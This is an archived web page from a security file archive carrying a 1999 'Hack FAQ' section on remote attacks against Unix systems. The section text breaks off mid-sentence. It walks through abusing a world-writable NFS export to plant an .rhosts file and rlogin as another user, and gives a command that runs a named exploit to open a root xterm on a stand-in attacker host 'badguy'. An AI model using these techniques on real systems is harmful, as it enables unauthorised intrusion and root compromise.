Twenty Year Anniversary


Posted Aug 17, 1999


tags | paper
MD5 | 7b28b12645e0eb0fee038087aaff17d0


Change Mirror Download
<TITLE>The Hack FAQ: Unix Remote Attacks</TITLE>
<LINK REL="next" HREF="hackfaq-30.html">
<LINK REL="previous" HREF="hackfaq-28.html">
<LINK REL="contents" HREF="hackfaq.html#toc29">
<BODY BGCOLOR="black" VLINK="gray" TEXT="white" LINK="gray" HLINK="red">
<A HREF="hackfaq-30.html">Next</A>
<A HREF="hackfaq-28.html">Previous</A>
<A HREF="hackfaq.html#toc29">Contents</A>
<H2><A NAME="unixremoteattacks"></A> <A NAME="s29">29. Unix Remote Attacks</A></H2>

<P>This section deals with hacking Unix systems remotely.
<H2><A NAME="ss29.1">29.1 What are remote hacks?</A>

<P>A remote hack is when you attack the server you are not logged into. Usually this is done
from another server, although in some cases you can do it from a regular PC (depending on
the operating system).
<P>Guessing a user account and password (unless it is a guest account) on a remote system is
BARELY considered a "remote hack", so we'll not really cover that. We'll assume you don't
know an account name and password on the remote system.
<P>Remote hacks come in a couple of different flavors. Usually exploiting an existing service
running on the victim's server (which is misconfigured or allows too much access) is the
typical exploit. Exporting an NFS mount read/write to anyone might not be a bad thing, but
if you can NFS mount directories containing .rhosts files, then it can be a very bad thing.
Also, certain daemons running might be subject to buffer overflows remotely, allowing someone
from a remote location run arbitrary commands on the victim's server.
<P>Here are a couple of examples:
- You are root on a host named badguy.
- You discover the host victim is exporting /home2/old read/writable to the world.
- You also discover by fingering various accounts that user fred's home directory is
/home2/old/fred and he hasn't logged in for months.
- Quickly, you create a fred account on badguy.
- Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
- After you become fred on badguy, you rlogin to victim as fred.
<P>Here's another attack involving a buffer overflow:
- This remote system is running named.
- You have written a named exploit that allows you to send arbitrary commands through
the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
- You type: sploit "/usr/X11R6/bin/xterm -display badguy.whatever:0"
- A window appears on your terminal that is running as root on
<A HREF="hackfaq-30.html">Next</A>
<A HREF="hackfaq-28.html">Previous</A>
<A HREF="hackfaq.html#toc29">Contents</A>


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?

Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    17 Files
  • 20
    Jul 20th
    11 Files
  • 21
    Jul 21st
    1 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By